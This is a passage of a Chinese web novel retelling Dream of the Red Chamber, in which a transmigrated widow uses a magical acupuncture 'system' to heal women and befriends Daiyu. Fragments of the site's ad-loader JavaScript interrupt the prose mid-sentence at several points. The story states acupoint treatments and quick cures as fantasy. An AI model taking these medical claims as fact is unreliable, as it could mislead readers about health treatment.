秦可卿虽死,却算是开启了宁荣二府鲜花着锦烈火烹油之盛景。贾元春不久就要加封贤德妃,宁荣二府也要开修大观园。 大观园啊,白露心里可好奇极了。 传说中一步一景,如天上人间,世外桃源,要是能有机会亲眼见见就好了。 等等,大观园! 大观园到底是拿谁家的钱修的?!贾琏那句“再发个二三百万两的财”,到底是随口一说,还是贾府真的昧了林如海死后留下的偌大家产? 白露坐直身体手指不停点着身旁的小几。 《红楼梦》里真是处处细节都值得推敲,几百年过去了还能引得那么多人抱着一句话反复琢磨。 现在她有机会亲自到书里的世界走一遭,怎么能错过了这天大的热闹? 只是要怎么样才能跟贾府接上头呢? 或者说,不用跟贾府接上头。 林妹妹姓林,她死了的老板也姓林。 天底下哪有这么巧的事情?! 白露拍案而起,扭头就让兰叶去把管家请来。 管家不知道白露有什么事情要吩咐,但还是赶紧跑了过来。 结果一听,“府里的亲戚?” “太太是怕府里人丁单薄,想找亲戚们相互照应着?”管家苦着一张脸,“先太太的娘家没什么人了,便是有也是极远的远亲,远在南边老家呢。去了的老太太娘家在外地做官,这几年往来也稀疏得很,怕是远水解不了近渴。” 白露循循善诱,“我还在家时,也听说这府里原是几代的根基,难 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道除了老爷,竟再没有一二同族了?今时不比往日,便是略远了些的关系,若是可信,咱们也少不得厚着脸皮贴上去。 你也是知道的,我就是再贤惠能干人美心善,照顾康姐儿轻轻松松,可安哥儿读书总得请好先生吧?这好先生是靠我的面子能请到,还是靠你的面子能请到?就算老爷有故交,可还有句话叫人走茶凉。” 这话倒很是。 于是管家也绞尽脑汁,冥思苦想起来。 “府上祖籍姑苏,自来人丁稀少。几代前虽出了位同宗侯爷,可这关系实在是太远了。更何况如今侯府的爵位也没了,虽有后人,但老爷昔年也未曾走动过。” 白露也不知道管家口里这“同宗”究竟是像贾琏贾珍那样正儿八经的同宗兄弟呢,还是如刘姥姥的女婿王二狗家祖上与王家连宗,或者贾雨村巴结贾府那样,见着富贵便趁同姓的机会巴上来的“同宗”。 但管他呢,出门在外身份是自己给的。 虽然按剧情发展,林如海这会儿差不多就要撒手而去,留林妹妹一个人在贾府风刀霜剑严相逼,但白露心底叹息一声,表面却只能作不知。 她眼睛一亮,“扬州林家,几代列侯,如今的后人可是先迁兰台寺大夫,后升扬州巡盐御史的那位林大人?” “太太知道他家?”管家大吃一惊,确实没想到小户人家出来的太太竟然连这些官场动静都知道,就连老爷,也是听人说起才知道家里还有这样一位贵亲。 “恍惚听谁说过。”白露含混过去,“这样,我修书一封,你派可靠的人带着厚礼下一趟扬州。那林大人既能凭自己的本事科举出身,若是能看在同宗的情谊上照拂照拂,便是安哥儿的福气了。” 辛苦这么一趟也未必能见到林如海,可只要找上了门,必定能在林妹妹面前留个印象吧? 管家不清楚白露究竟在打什么主意,只觉得家里如今都这样了,能有个当官的同宗帮衬也是件好事,于是忙不迭地打点起来。 如今天下倒还太平,下一趟扬州虽说辛苦,却也不至于上船就撞上水匪被绑了去。 “只是……唉!” 白露苦等了几个月消息,等来的却是管家的唉声叹气。 “咱家小子人是到了扬州,可谁知道那林如海林大人……竟也英年早逝!” “唉!”白露跟着长叹一声,帕子点了点不存在的眼泪,“这可真是……林大人去了,那他府上如今可还有什么人没有?” “倒是有一位姐儿,已经被她外祖家的人接走了。”说到这,管家犹豫片刻,才小声道,“那小姐外祖家竟也在京城,就是荣国公贾家。咱家派去的小子倒也机灵,在扬州就帮衬着林大人的丧事,如今一路跟着把那小姐送回了荣国公府上,说是还去当家老爷跟前回了话,得了赏。” “不错。”白露点点头,“既是国公府,林大人想来也能放心了。” “这……太太,”管家越发压低了声音,“小的有句话,不知当说不当说……” 白露对着门口小板凳上绣花的兰叶和秋桂指了指外边,见两人会意,才跟着轻声道:“又没外人,你悄悄说就是了。” “是!就是……这……便是国公府,其实有时候也不是那么叫人放心的,太太,您说呢?” “都跟你说有话直说了,还要让我来猜猜猜。”白露扫了管家一眼,“说,跟着去的人发现什么了?” …… “不会是发现林家的银子……” “嘘!”荣国府里,贾琏一把捂住凤姐的嘴,“要死!这也是能嚷嚷出来的!” 5. 琏凤论金银 见贾琏出了趟远门,回来就要跟凤姐说些私房话,平儿早就知机地出了屋子,到门口守着去了。 倒是凤姐一时不察,话音刚落就被贾琏捂了嘴巴,她一把拍开贾琏的手,慢悠悠瞥了他一眼,才慢条斯理地继续抱着手炉说道:“这又有什么说法不成?咱们家跟姑妈家是什么关系?那不知道哪个洞里冒出来的外八路远宗小寡妇跟林家又是什么关系?便是知道咱们替林妹妹收了她家的家产,难道她还能说什么不成?” “嘘!”听凤姐说起话来竟是半点不收声,贾琏急得又想去捂她的嘴。 “青天白日的你弄什么鬼呢。”凤姐偏头躲开,眉梢眼角都带着笑,“啊~你这国舅老爷心里打的什么主意,瞒得过别人,只怕难瞒得了我。” “哼,奶奶既心里清楚,便知道这事声张不得,要是嚷嚷出去,谁脸上也不好看。”贾琏将酒杯往桌上一搁,又丢了粒花生米进嘴里,“若不是为了娘娘省亲修园子,谁愿意干这欺负人家没爹没妈天打五雷轰的王八犊子事。” 凤姐心里一跳,暗道一声果然。 “我平时里也只在二门里头忙活,外头的大事都由老爷们做主。如今这便是说定了?老太太那里……” “便是东府里什么情况老太太不清楚,咱们自己府里还有什么事能瞒过她老人家的?”刚才还说着不愿意,可三杯酒下肚,礼仪廉耻倒像也一并被吞进肚子里的一样。 贾琏摆摆手,一副不以为意的样子,“话又说回来,这娘娘省亲,也不光是贾家的事。这亲戚故交,谁不一样面上有光?谁不该有钱出钱,有力出力?林妹妹如今一个人哪里用得了那么多的银子,便是将来出嫁,别说还早得很,就是到了时候,光是老太太的体己也足够了。” “行了。”贾琏倒完壶里最后一杯酒,起身便要出门,“我还有事急着回禀老爷,既然说这些话就是想叫你心里有个数。往后你多照看林妹妹些,至于其他事,她小孩子家家又身体不好,别叫她操那么多心,跟宝玉并姊妹们好好玩就是了。” 贾琏说完便走,他这一出门,平儿便顺势掀着帘子进了屋来。 “奶奶?” “方才的话你都听见了?”凤姐收了笑,冷着一张脸坐回炕上,不知想起了什么,话也不说,只顾冷笑。 平儿悄悄带人收拾了桌上碗筷,等小丫们都出去了,才听凤姐恍惚自言自语说了一句,“怪道老太太这么早便打量着把林妹妹许给宝玉,感情是花了人家祖上积下来的富贵,只好拿个凤凰蛋去赔。” 平儿心里一动,想起什么,却立刻转身假装无事。 凤姐甩着帕子去打她,“你也是跟我装起来了。管他再大逆不道,有什么话是咱们俩不能关起门来说的?那什么金锁配玉的话,打量着谁家没块金子没块玉似的。再说玉,这不是人家皇帝老爷瞧不上她的金子,没办法了才转头盯上咱家这块宝玉的。” “我的好奶奶!”平儿也假意扑过去要捂凤姐的嘴,“别说二爷,便是我也要怕死奶奶这张嘴了。这些话也是能说的?出了这个屋子,奶奶只当自己什么也没说过才好。” “这还用你交代?外面是什么声音?我怎么恍惚听到了紫鹃在说话?” “是紫鹃。”平儿出门带了人进来,“林姑娘说,想让紫鹃替她去林家那位同宗太太家走一趟,好谢她家人一路帮衬。” “那便去。”凤姐笑着吩咐了平儿去安排车马送紫鹃出门,“也是我疏忽,忘了林妹妹守孝在身,不便出门。” 没错,守孝,封建社会里,家里亲人去世了,活着的人可是要严格守孝的。 不能娱乐,不能交际,所以别说林妹妹不能出门来做客,就是白露自己也登不上贾府的门。 白露真是无奈,看着一身素淡打扮的紫鹃,只能装模作样擦擦眼泪,装作一副伤心憔悴却还要打起精神照顾家里关爱同族妹妹的样子。 “只盼妹妹在贵府里好生修养,莫伤心太过,坏了身子。家里一切都好,哥儿姐儿虽伤心,每日也还在好好念书。等孝期过了,我再带两个孩子去给贵府老太太请安,叫他们拜见姑妈去。 哦对了,我这里收拾了些小玩意,你回去的时候给妹妹带去,叫她随便拿来解解闷,打发打发时间……” 至于其他的……白露决口不提。 怎么? 林妹妹都还没认识她呢,她就上赶着去关心人家爹妈留下来的家产? 这是信不过堂堂开国国公府邸,当今贵妃娘娘家?还是干脆有所图谋,准备欺负人家孤女啊? 算了吧。如今贾家气势正盛,何必去拿鸡蛋碰石头,她倒也没那么头铁。 送走紫鹃,白露又闲了下来。 头几天还觉得古代有钱人日子是真闲啊,可时间一长,就觉得简直是无聊透顶。 从前一天二十四小时里,八九个小时打工,一两个小时在路上,剩下一半时间还要花八九个小时来休息睡觉,再花一两个小时吃饭洗漱处理杂事,百忙之中还要挤出时间点开手机批阅赛博奏折,一天到晚真是被安排得明明白白。 哪像现在,吃饭,看着两个小家伙念书写字,花园里转一圈,逗逗猫狗,拿本书翻翻,看看账本,然后就没事了。 白露一开始还平心静气地宅着,就当自己修身养性,恢复被打工生涯摧残的元气。可等到精神恢复好了,想出门找点事做,却被告知根本不能出门时,这坐牢的感觉就出来了。 别人穿越是叱咤风云,就她穿越是继续给老板打工的孩子,当年算命的时候师傅也没说她五行属驴,八字里写满了打工啊可恶! 她真的,命苦! 白露这一下是真情实感地掉了两滴眼泪,看在兰叶心里就特别不是滋味儿,还以为她是想到同宗的姑娘年纪小小也父母双亡,一时心里格外怜悯。 唉!太太就是这般人美心善。 “太太……”兰叶转身把廊下晒着太阳打盹儿的胖猫抱了起来,想给白露解解闷儿。 谁知白露看到她确实眼睛一亮,可说出来的话却是,“来的正好,兰叶,去帮我把银针拿出来,再问问府里哪个丫头婆子身上还不痛快?” 是的,白露也没想到自己前几天收拾原身箱子里的东西时,随手抽了一根银针出来瞧,竟然就开启了系统?!!! 系统?!!! 这么时髦的东西也是她能有的?!! 白露来不及查看到底是什么个系统,总之当时脸就快笑烂了。 兰叶和秋桂当时满脸不解地看着她,还好她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反应及时一秒变脸,心事重重地说她只是想起了当初亲妈还在时跟着亲妈学医术的往事。 结果兰叶和秋桂信了她的鬼话,当场就叫的人来一起给她拾掇出了一个宽敞亮堂的屋子做书房。 “太太若是心里惦记老太太,不妨在家里继续看看医书,练练手艺。” 白露对当老中医没什么兴趣,但话都说这儿了,也只能含混着答应下。 借口自己要翻翻一书,白露正好安安静静地研究研究自己到底获得了什么金手指系统。 “姐姐妹妹站起来,勇做时代女强人。” 白露激动地搓搓手,这个好,她喜欢这个。 继续往下看…… “倾听女性之声,手解女性之痛。嗯,挺好的,所以是到底是什么金手指呢?” “嗯?” 系统开篇语过后,便是光华璀璨的几个大字,一时闪得白露在意识空间里都不禁闭上了双眼。 等到光芒散去,她定睛一看。 “妇科圣手之……扎出美好的今天、明天和后天????” 白露只觉得眼前一黑,忍不住破口大骂:“这是什么鬼策划!产品经理出来挨打!” “太太?” 书房门啪的一开,兰叶和秋桂一头雾水地跑了进来,“太太怎么了?谁要挨打?” “啊!”白露这才发现自己不知什么时候退出意识空间了。 “没事,就是……想起今儿早上的梨有些变味儿了,这会儿还觉得心头有些恶心,下次别一下子买那么多果子了,这玩意儿又不经放。” 白露怕兰叶和秋桂真叫管家把负责买菜的小厮锤一顿,又赶紧补充了一句,“或许也不是梨的问题,怕是我这几天心里伤心,所以吃什么都觉得难受。我都这样了,哥儿姐儿怕是更不痛快,叫张妈妈这几日弄些甜汤给他们喝吧。” “哎,知道了,我这就去跟张妈妈说!” 支走了兰叶和秋桂,白露这才又冷静下来继续研究她的系统。 虽然功能单一而且一看又是个适配打工人的干活系统! 可该说不说,能在随随便便一场风寒就能把人放倒的古代,有这么一个医疗系统,确实已经很不错了呢。 “但其实我也不会医术,所以这系统我到底能不能用?” 白露拈起一根中号银针,一边撩起袖子,一边默默召唤系统。 “嗯嗯嗯?!!!” 白露睁大了眼睛盯着自己胳膊上冒出的一个个红点。 随便意识锁定一个,脑海里就自动弹出了提示: 曲池穴:手阳明大肠经之合穴,可转脾土之热,燥大肠经湿热,供阳热之气,疏风清热、通经活络(医盲版:主治肩肘关节疼痛、上肢瘫痪、高血压病、荨麻疹、流行性感冒、扁桃体炎、甲状腺肿大、急性胃肠炎)。 具体操作:…… 医盲白露有被骂到,但是没关系! 好一个医盲可用的“妇科圣手”系统! 决定了,从今天开始,她就要扎遍姐姐妹妹们! 大家一起站起来,勇做时代女强人! 如今正是守孝,且让她潜心修炼。 等三年之期一到,必要先给林妹妹来上一针! 6. 遥遥一面 白露自从发现了自己的金手指,就像得了个新鲜玩具一般,狠狠上头了好一段日子。 她先是借着系统认遍了自己全身上下各个穴位,大概知道了哪个位置有什么作用,能治什么毛病。 认完之后就开始实践。一开始白露捏着针,心里还有些怕。那针在胳膊上挨挨碰碰,半天就是下不去手。 “我就不信了!”白露决心当个狠人,于是先闭上了一只眼,只留剩下一只眼睛虚虚看着胳膊上的穴位。 拿着针轻轻试探过去,只等自己一时放松警惕,手一抖就真正扎进去。 可惜试探了半天,“不行不行!” 白露实在对自己下不去手,于是只好召唤兰叶和秋桂。 “你们两个,最近身上有没有什么地方不舒服的?”白露背着手把闪亮亮的银针藏在背后,笑得一脸温柔,“我从前也是学了些针灸功夫的,只是没有正经做堂看诊,你们若是信得过我,我就给你们瞧瞧。” 白露当家以来,家里大大小小的事物都极有章法,下人们私下说她性子严谨,条条款款,清清楚楚,一点乱不起来,也不给人蒙蔽的机会。 可她待人又极好,从来和和气气,绝不喊打喊骂,更不会想了一出是一出,叫人觉得难伺候。 更别提兰叶和秋桂跟在白路身边,连晚上抱个被子靠在床角随时随刻听吩咐这种苦差事都免了,就更觉得她实在是求也难求来的好主子。 此刻白露一发话,两个人对视一眼,兰叶先笑道,“跟着太太日子过得轻省,哪有什么不舒服的?就是有些女儿家的小毛病,许是天生的,也不打紧。” “哎呀,这话就错了。”白露拉着她躺到床上,先叫秋桂去关好门,然后才回过头来认真说道,“外边儿的大夫十个里有九个都是男人,他们不把女儿家的身体放在心上,世人又爱追究这男女大防,所以咱们有个什么病啊痛的,男人只当不知道,咱们女人自己知道,却也只能咬牙强忍罢了。” 白露到底怕把兰叶扎痛了,于是又扯了枕头放到她手边,叫她要是觉得痛了就抓枕头出气。 秋桂在一旁自告奋勇,守在兰叶身边,抓着她的手给她和白露加油鼓劲。 “你先把眼睛闭上。” “是。” 兰叶死死闭上眼睛,硬是一条缝都没有露。 白露开启系统,毫不托大地选择了超详细的医盲版本,“关元穴,下腹部,脐中下3寸,前正中线位置,轻施一针,十五呼吸即可……” 白露老老实实按着傻瓜指南操作,直到真的扎进去了,才忽然感觉到似乎有一股柔和的暖流从指尖传到银针中,然后顺着细长的银针输入了兰叶身体里。 哦哦哦!原来她这金手指还不是单纯的操作指南,还是能够赋能的高级货! 对不起!之前她说话的声音是有点大! 产品经理出来挨亲! “咦?” “怎么了!”此刻秋桂才是屋子里最紧张的人,一边又要担心兰叶有没有被扎痛,一边又要操心太太会不会紧张得发挥不好。 此刻见兰叶有了反应,她赶紧关心起来。 “一开始我还怕疼,结果就像被蚂蚁咬一口一样,现下竟然觉得暖暖的?”兰叶忍不住用空着的那只手碰了碰下腹扎着针的周围,“也不痛了!” “不痛了才对。”系统提示治疗时间到,白露利落地收了针,帮兰叶把衣裳拢上,“我也不知道这么一扎能管多久,明天要是还不舒服,记得告诉我,反正也不到一盏茶的功夫,可不许嫌麻烦。” 不给两个人拒绝的机会,白露又趁热打铁说道:“不只是你们两个,跟家里其他丫头婆子说,谁身上不痛快,下午都可以来找我。 这医术本来就是治病用的,我要是一天到晚知道你们病着痛着却高高在上抄手不管,那岂不是辜负你们在这家里辛苦照料,辜负你们叫我一声太太了,更辜负了妈的教诲,辜负了祖宗的传承,辜负了我的功德?” 兰叶和秋桂早领教过白露一张厉害的嘴,此时自然不再说什么“不敢当”。 要不然,太太家的传承怎么办?太太的功德怎么办?耽误了太太积德造福,以后飞升当仙女怎么办! 于是两人认真谢了白露,赶紧把这话告诉了家里老老小小所有女人。 原本“太太愿意用家传的医术给家里女人看病”就已经是惊破天的大恩大德了,再一有兰叶的现身说法,说太太确实针到病除,功夫可见一斑!大家听了就更激动了。 只是那毕竟是当家太太,大家就算心动也一时放不开。 只有年纪大,自觉脸皮厚些的三个婆子,私下嘀咕一番后,才约着一起到白露的院子里求见。 “老奴是早些年生了家里丫头后落下的病根。”负责厨房的柳妈妈悄悄跟白露抹泪,“原先的主家厉害,便是月子里也要干活,这腰就再没松快过,许是再过两年,就再也直不起来了。” 到时候自己就成了废人一个,手艺再好,可做不了活,主子难道还能养着自己一个吃干饭的不成? 白露专心看着系统给出的诊断,心不在焉地“嗯嗯”两声,“柳妈妈,你这腰确实是经年的老毛病了。不止腰,你的胳膊、腿也磨损得厉害。还有血脉不通,肝肾不足,头晕乏力……” 柳妈妈这一听,心一下子都凉了。 完了完了。 原以为自己多少还能撑两年,结果这已经是油净灯枯了啊! 谁知白露又说,“所以你也别急,这不是我今天扎一针两针能解决的事情。这样吧,咱们先从最要紧的地方来一日日一点点的治着,这样既免得你一下子受不住这猛针,也给别人留点时间看诊,如何?” “是!都听太太的!”柳妈妈哪里敢有讨价还价的心思,赶紧在白露新收拾出来的诊室的矮踏上躺得板板正正,“太太的大恩大德无以为报,老奴只盼这能多活些日子,多给太太做几年好饭菜!” 于是白露暂且就过上了大门不出二门不迈,宅在家里一边带小孩一边给人扎针的日子。 时间长了,家里女人都扎了个遍。 白露翻着人数一天比一天少的看诊记录,心里暗道日子怕是又要无聊起来了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁知这日负责内院采买的赵妈妈突然来说:“隔壁翰林老爷家太太身边的妈妈托老奴来请问太太,她家小姐想来府上给太太送点年礼,不知道太太什么时候方便?” “隔壁?张翰林家的太太?我这还守着孝,张家小姐怎么想起到咱们家来?” 由不得白露不吃惊,别人随意些也就罢了,翰林院老爷家还敢打扰别人家守孝,这是生怕言官们到年底了凑不够绩效啊! 赵妈妈一开始也是这么想的。这俗话说,寡妇门前事非多。她家太太一个寡妇还带着两个小儿,便是翰林院家小姐来打招呼,她也得格外小心,把事情打听清楚了才敢来回话。 “老奴都问清楚了,张家太太病了大半年,太医院里的太医请了个遍,喝了几车药下去也不见好。这是听说太太您有一手治病的好本事,所以才等不要求太太救一命。” 白露不问其他,只关心道:“听说?咱们家里的事,怎么就让隔壁小姐也听说了?可见这隔墙有耳啊。” “这,太太菩萨一样的人,府里谁能忍住不说上一嘴呢……”赵妈妈讪讪低下头,她管着内院里太太小姐们大小物件的采买,这出门说嘴的事,必然是少不了她的。 白露笑着拍拍她,“以后该说的才能说,不该说的可一句口风都露不得。” “是是!老奴自是知道分寸的。”赵妈妈忙不迭点头,“那您看这张家太太的事……” 赵妈妈知道白露心里有主意,所以也不敢多劝。只是她心里倒还是盼着白露能应下这桩事,别的不说,就他来传这句话,也是收了张家太太身边婆子的好处的。 “都是邻居,能帮忙的,自然退缩不得。”白露没想那么多,“只是家里也不好光明正大地请张家小姐上门做客,这样吧,你跟兰叶低调走一趟,替我看看张家太太去,顺便问问她方不方便到府上来,要是实在不能动身,若是不嫌弃,我便走一趟。” 赵妈妈和兰叶很快就跟隔壁太太联系好了。 “那张太太病得实在沉重,已经两月没下床了,无论如何请太太亲自劳动一趟。” “行。”白露正好乐得出门转一圈呢。 只是不知道这张翰林到底什么毛病,许是读书读迂了,说是在家里打了好大一通脾气,几个女儿跪了一地求他,也硬是不准隔壁还在守孝的寡妇上门,不然就是不守妇道!不守礼法!是玷污了他家门楣! “所以委屈了太太……”偷偷上门的张大小姐收敛了脸上神色,对着白露郑重行礼,“还要太太扮做普通医女去给我母亲看诊才是。” “这有什么,张小姐护母之心感天动地,令堂一定会平安无事的。” 做戏做全套,白露还真就换了身打扮,从张太太娘家出门上马车,假装她是张太太娘家人特意请来的女大夫。 马车走过大街,白露好奇地掀开帘子一角,想看看上回出门没好好见过的市井模样。 街上倒是热闹。 她看了好一会儿才收回手,却不知道几步开外有风无意吹动轿帘,有人冥冥之中一偏头。 “停!” 7. 低调做好事 白露根本没料到自己只不过掀开帘子张望了一会儿街面,就被擦肩而过的有心人看进了眼里。 兜了一大圈子,绕来绕去又绕回了自家在的巷子,白露才头一回登了隔壁张家大门。 趁着张翰林还在衙门里,张小姐行动果断,当即指挥着轿夫把轿子抬到了二门,一下轿叫就拉着白露直奔她母亲的院子。 白露早听张小姐说了她母亲的病症。 “……年纪大了,谁知又有喜了。”张小姐也不是不知事的小女孩了,说这话时脸上不见害羞,只皱着眉,一脸的叹息担忧,“……两三个月的时候就觉得身子沉重,果然五个月的时候孩子就没保住。打那之后我妈便一直卧床,请了多少太医来看,也不过是站在院子外面问婆子两句,方子开来开去也不过是那几味药,说是要慢慢静养,养到现在一日里竟清醒不了几个时辰了……老爷他……” 张小姐有一肚子的话想说,说到老爹,忍了忍,终究是把满腹心事咽了回去。 白露静静听着,总觉得张小姐话里话外对她亲爹也是怨气满满。只是到底是别人家里的家务事,她轻轻拍了拍张小姐的手,别的什么也没多说。 张家太太院子里安静的很,白露跟着张小姐一进去,后面就有婆子赶紧关上了院门。 躺在床上的中年妇人憔悴得不成样子,白露很快就从系统那儿了解了她的身体到底哪儿出了问题,又该如何医治。 张小姐见她面色沉稳,气定神闲,心里不禁也跟着略略放松了一些,“太太,我妈其实病得也不重,是不是?” “十分病里有七分都是拖出来的,幸而如今还不算太迟。”白露熟练地取针用火消毒,等针头凉下去了才按照系统的指示一处一处往病人身上扎。 温和的能量自白露体内细细传导到病人身体里,一盏茶的功夫后,白露撤回了剩下所有银针。 张小姐上前一步,压着声音急急问道:“这便好了?” “又不是要扮刺猬,这针难道还要一直留在令堂身上不成?” “寿儿……” “妈!” 张家太太忽然虚弱地睁开眼睛,张小姐立刻扑到了床前。 白露也不耽误母女说话,只是冲一旁的婆子招招手,示意她们先去一边。 “妈妈不必急着谢我,说实话,贵府太太这病如今也不是一时半刻扎上几针便能治好的。” 她一开启系统就看到张家太太的生命能量条发出刺目的红色,一旁的数值清清楚楚显示着危急度八十九,像是怕她错过重点一样,本就放大显眼的数字还特意加了黑闪特效,多看两眼简直是另类精神污染。 刚才一套疗程下去,数值也不过只勉强下降了五个点。 按照她给家里婆子扎针的经验来看,这危急度数值是要全部清零才会变成绿色,代表转危为安;但下降到五十度以下后其实就表示生命存在已经无碍,红标也会转橙。 想想也是,后世多少社畜一身职业病,但每天还不是照样风雨无阻上班打卡。该说不说,人间牛马的命就是这么顽强呢。 白露晃晃脑袋,甩开乱七八糟的想法,继续交代医嘱:“我只会针灸,不会开药,该请太医的还是得请。若是觉得针灸还有些作用,我多跑几趟也是使得的。” 婆子自然千恩万谢,一旁张小姐看着亲妈重新合上眼休息,也来诚心诚意重谢了白露一番。 两人当下就商量好,明天还是这个时候,张小姐再上白露家去接她。 这不是什么麻烦的事,况且每天还能出门到街上转一转,简直是坐牢日子里难得的放风时间。 小半月过去,张家太太倒是真的一日日好起来了。 如今她的生命能量条已经从暗红变成了浅黄,剩下的十几点健康受损度则是一天比一天降得少。 白露估摸着到这个时候针灸的作用就不大了,还是得靠她自己慢慢休养,才能一点一点把身体底子补回来。 于是月底这天结束施针后,她便正式向张家太太提出结束疗程。 “哎!”张家太太心里一时有些不舍,可听白露说她确实已经好得差不多了,到底也是高兴。 “大恩大德……” “都是邻居,说这些就客气了。”感激的话白露天天听,听来听去也是那些,“再说救人一命胜造七级浮屠,这是积功德的事,我岂能推辞。” 张家太太红着眼圈说不出话来,只能招呼丫头婆子一起上阵,把早就准备好的一堆谢礼搬出来。 白露略略推辞,但实在抵不过张家太太的热情,只能收下他一番心意。 别看张家太太之前病得不省人事,如今有了精神,脑子也转得飞快。她知道白露家的情况,为了不给她找麻烦,也不大张旗鼓地上门送礼,只叫信得过的院里人偷偷把东西从白露家后门递了进去。 这算不算她上门看诊的诊费? 白露哼着小曲跟兰叶和秋桂吹嘘自己,“我也真是能干啊,小半个月的功夫就挣下这么多东西。拿去换了钱,足够咱们全家好好过小半年了吧?” “可不是,放眼京城,也没几个太太这样能干的人啊!” “不只是能干,咱们太太这才是真本事!可比那些招摇撞骗谋财害命的庸医强出不知多少倍!” 兰叶和秋桂变着法捧场。白露就喜欢小妹妹这么嘴甜,一边说她们淘气,一边挑挑拣拣,指着两匹青底梨花,不知道叫什么名儿,但摸起来软软滑滑的料子给她们。 “这两匹颜色嫩,你们俩拿去做衣服,白底的拿去做裙子,镯子钗子一人一个分了。小金元宝都登记收起来,十个银的给赵妈妈三个,剩下拿去给其他人分了。笔墨纸砚分成四份,两份给哥儿姐儿,一份留在我书房里用,一份待会儿叫赵妈妈送去荣国公府里,顺便带上哥儿姐儿最近写的字,请黛玉妹妹看看。至于其他玩意……点心吃了,药材收好,剩下的摆件慢慢登记好了先放起来。对了记得叫柳妈妈今天多弄两个菜!” 白露从前喜欢折腾冰箱,看着各种面包酸奶果汁蔬菜饺子汤圆果酱牛排虾滑……把各个格子填得满满当当。这会儿清点诊费,屯屯鼠鼠格再度附身,同样开心得不得了。 她开心了,就想让身边人跟着一起开心。在府里开心不算,她还要跟黛玉妹妹一起分享这份开心! 黛玉年幼丧母,如今父亲也弃她而去,家里的老人被尽数遣散,如今还跟在她身边的林家出来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人,也就一个雪雁。 虽然外祖母慈爱,姐妹们也体贴,可如此切身之痛,旁人岂能感同身受? 更别说如今外祖母家里有了大喜事,大表姐入宫多年,一朝封妃,更不久还能荣归省亲。如今贾家上上下下谁不是喜气洋洋,志得意满,筹谋张罗着大兴土木修园子? 她白日当着人道喜,夜里背着人才能哭一哭,可即便这样,即便是她这做女儿的为父亲伤心,那起子人的嘴私下里也是不饶人的。 想起近日种种,黛玉不禁又悲从心起,觉得孤身一人,便是待在这富贵绮罗堆里,到底无趣。 正一个人偷偷掉眼泪,雪雁便掀了帘子,蹦蹦跳跳地跑进来,嘴里小声欢喜道:“姑娘!堂太太又遣了赵妈妈来了!如今正在老太太那请安,马上就来看姑娘!” 黛玉忙拿帕子擦擦眼角,来不及再叫雪雁去打水,便见紫鹃领着赵妈妈进了屋子。 “多谢嫂子惦记我。” 赵妈妈可不是那等只知道二门里捕风捉影瞎转悠的婆子,这些年干着采买不知道跟多少人打着交道,一双眼睛利得很。 见黛玉明显才哭过的样子,她原本到嘴边的喜庆话一转,声调一低,不说自家太太今天的高兴事,先关心起黛玉的身子来。 “姑娘看着比半月前瘦了,知道姑娘伤心,可究竟身子要紧,不然林老爷林太太心里如何安心,便是我们太太听了也要一直惦记着,恨不能亲自来给姑娘瞧瞧。” “劳烦嫂子记挂了,嫂子近来可好?哥儿姐儿可好?”既是正经同宗,又是同病相怜,黛玉在白露派来的人面前反而放得开些,不用时时提醒自己记得场合强颜欢笑。 说了些家常,赵妈妈这才把白露收拾来的一大包东西拿出来。 “太太近日做了桩大好事!”街面上走多了,赵妈妈也很会跟人讲故事,见黛玉心里闷闷的,便故意起了这么个头逗她好奇。 “什么好事?”黛玉果然眨着眼睛追问。 这么漂亮水灵的小姑娘歪头看着你,细声细气地跟你说话,这心便是石头做的也该化成水了。 赵妈妈也稀罕漂亮小姑娘,更何况眼前这小姑娘既是同宗又格外可怜,心里是越发怜爱。 她神神秘秘地探过头,黛玉也配合地凑过耳朵。 “我告诉姑娘,姑娘可别跟别人声张。” “妈妈放心,我知道分寸呢。” “咱家太太能干又心善,会治些妇人病症,抵不过认识的一户人家的小姐百般请托,偷摸着上门给人家太太扎针,嘿!您猜怎么的?多少大夫看了都摇头说没救了,偏让咱们太太扎了半个月扎好了!这不,送了一堆的礼,太太记挂姑娘,赶紧挑了好的给姑娘送来。” 黛玉又惊又喜,一时眼睛越发亮晶晶,“嫂子还有这番本领呢!能治病救人,果然是天大天大的大好事!” “治病救人?” 说话间,忽然有人掀开帘子就闯了进来。 赵妈妈立时从炕上起身,只见一个金尊玉贵的小爷。 小爷半点不见外,进来就凑到玉姐儿身边追问:“谁能治病救人?好妹妹快告诉我,我有一同窗病得厉害,正急着求好大夫救命呢!” 8. 欲登贾府门 却说赵妈妈在黛玉处见了突然闯进来的小哥,一时心下诧异。不过她登了几回门,也知道这府里有个老太太、太太捧在手心里的宝贝小爷。 “……那小哥儿生的倒是好,就是行事有些冒冒失失。” 回家后赵妈妈就来见白露,先一五一十把自己听见的瞧见的讲了一遍,末了还忍不住委婉发表两句意见,“捕风捉影的,嘴一张就急着让大姑娘告诉他哪去请大夫。好在姑娘聪明,只说是在讲故事,没认识什么神医,给那小哥儿糊弄走了。我看姑娘那样,跟这小哥倒是亲近。” 那自然了,不然,怎么有“木石同盟”一说呢。 白露一时没听出赵妈妈的弦外之意,点点头道:“荣国公府岂是寻常人家?不是说宰相人家七品官,这贾府比宰相还要厉害些,他家府里的下人不比七品官更高贵? 黛玉妹妹便是那老太太的亲外孙女,放有些人眼里恐怕也不过是父母双亡,来府里蹭饭吃的呢。当面不说什么,背面嘀咕少得了? 那宝二爷能体贴黛玉,比那起黑心烂肠,卖姊妹求荣的混账可是强多了。况且黛玉虽小,也不是别人花言巧语就能哄骗的傻姑娘,她跟宝二爷亲近,那必是知道人家待她真心。” 一个呢,惦记着妹妹胃口不好,自己有个什么好吃的好喝的都先给妹妹送去,妹妹吃了就好,不吃端回去就是了;惦记着妹妹刚吃了饭就去晕觉伤身,非要编个“小老鼠变香玉”的故事闹一闹夸一夸妹妹,闹得妹妹困也不困了,精神起来要扯他的嘴…… 